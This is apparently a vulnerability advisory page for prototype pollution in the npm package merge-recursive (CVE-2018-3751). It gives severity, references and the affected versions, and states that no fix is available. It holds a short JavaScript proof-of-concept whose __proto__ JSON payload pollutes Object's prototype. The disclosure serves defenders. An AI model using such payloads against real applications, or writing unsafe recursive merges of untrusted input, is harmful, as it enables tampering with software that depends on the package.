Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWN2eG0tZjI5NS14OTU3
Prototype Pollution in merge-recursive
All versions of merge-recursive
are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via __proto__
causing the addition or modification of an existing property.
Proof of concept:
var merge = require('merge-recursive').recursive;
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
Recommendation
There is currently no fix available.
Permalink: https://github.com/advisories/GHSA-cvxm-f295-x957JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWN2eG0tZjI5NS14OTU3
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: over 5 years ago
Updated: 8 months ago
CVSS Score: 9.8
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Identifiers: GHSA-cvxm-f295-x957, CVE-2018-3751
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-3751
- https://hackerone.com/reports/311337
- https://github.com/advisories/GHSA-cvxm-f295-x957
- https://www.npmjs.com/advisories/715
Affected Packages
npm:merge-recursive
Dependent packages: 34Dependent repositories: 652
Downloads: 10,525 last month
Affected Version Ranges: <= 0.0.3
No known fixed version
All affected versions: 0.0.0, 0.0.1, 0.0.2, 0.0.3